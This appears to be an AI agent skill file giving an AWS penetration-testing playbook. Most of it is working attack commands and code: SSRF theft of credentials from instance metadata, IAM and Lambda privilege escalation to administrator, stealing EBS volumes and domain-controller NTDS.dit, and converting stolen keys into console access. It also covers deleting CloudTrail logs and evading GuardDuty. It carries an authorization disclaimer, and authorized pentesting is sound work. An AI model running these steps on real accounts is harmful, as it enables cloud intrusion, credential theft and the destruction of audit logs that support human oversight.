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Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3…
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
AWS Penetration Testing
Purpose
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
Inputs/Prerequisites
AWS CLI configured with credentials
Valid AWS credentials (even low-privilege)
Understanding of AWS IAM model
Python 3, boto3 library
Tools: Pacu, Prowler, ScoutSuite, SkyArk
Outputs/Deliverables
IAM privilege escalation paths
Extracted credentials and secrets
Compromised EC2/Lambda/S3 resources
Persistence mechanisms
Security audit findings
Essential Tools
Tool
Purpose
Installation
Pacu
AWS exploitation framework
git clone https://github.com/RhinoSecurityLabs/pacu
SkyArk
Shadow Admin discovery
Import-Module .\SkyArk.ps1
Prowler
Security auditing
pip install prowler
ScoutSuite
Multi-cloud auditing
pip install scoutsuite
enumerate-iam
Permission enumeration
git clone https://github.com/andresriancho/enumerate-iam
Principal Mapper
IAM analysis
pip install principalmapper
Core Workflow
Step 1: Initial Enumeration
Identify the compromised identity and permissions:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
Step 2: IAM Enumeration
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
Step 3: Metadata SSRF (EC2)
Exploit SSRF to access metadata endpoint (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
For IMDSv2 (token required):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate Container Credentials:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
Privilege Escalation Techniques
Shadow Admin Permissions
These permissions are equivalent to administrator:
Permission
Exploitation
iam:CreateAccessKey
Create keys for admin user
iam:CreateLoginProfile
Set password for any user
iam:AttachUserPolicy
Attach admin policy to self
iam:PutUserPolicy
Add inline admin policy
iam:AddUserToGroup
Add self to admin group
iam:PassRole + ec2:RunInstances
Launch EC2 with admin role
lambda:UpdateFunctionCode
Inject code into Lambda
Create Access Key for Another User
aws iam create-access-key --user-name target_user
Attach Admin Policy
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Add Inline Admin Policy
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda Privilege Escalation
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 Bucket Exploitation
Bucket Discovery
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
Bucket Enumeration
# List buckets (with creds)
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folder
Public Bucket Search
https://buckets.grayhatwarfare.com/
Lambda Exploitation
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM Command Execution
Systems Manager allows command execution on EC2 instances:
# List managed instances
aws ssm describe-instance-information
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
EC2 Exploitation
Mount EBS Volume
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
Shadow Copy Attack (Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
Console Access from API Keys
Convert CLI credentials to console access:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access
Covering Tracks
Disable CloudTrail
# Delete trail
aws cloudtrail delete-trail --name trail_name
# Disable global events
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# Disable specific region
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trail
Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.
Quick Reference
Task
Command
Get identity
aws sts get-caller-identity
List users
aws iam list-users
List roles
aws iam list-roles
List buckets
aws s3 ls
List EC2
aws ec2 describe-instances
List Lambda
aws lambda list-functions
Get metadata
curl http://169.254.169.254/latest/meta-data/
Constraints
Must:
Obtain written authorization before testing
Document all actions for audit trail
Test in scope resources only
Must Not:
Modify production data without approval
Leave persistent backdoors without documentation
Disable security controls permanently
Should:
Check for IMDSv2 before attempting metadata attacks
Enumerate thoroughly before exploitation
Clean up test resources after engagement
Examples
Example 1: SSRF to Admin
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. Verify access
aws sts get-caller-identity
Troubleshooting
Issue
Solution
Access Denied on all commands
Enumerate permissions with enumerate-iam
Metadata endpoint blocked
Check for IMDSv2, try container metadata
GuardDuty alerts
Use Pacu with custom user-agent
Expired credentials
Re-fetch from metadata (temp creds rotate)
CloudTrail logging actions
Consider disable or log obfuscation
Additional Resources
For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.
When to Use
This skill is applicable to execute the workflow or actions described in the overview.don't have the plugin yet? install it then click "run inline in claude" again.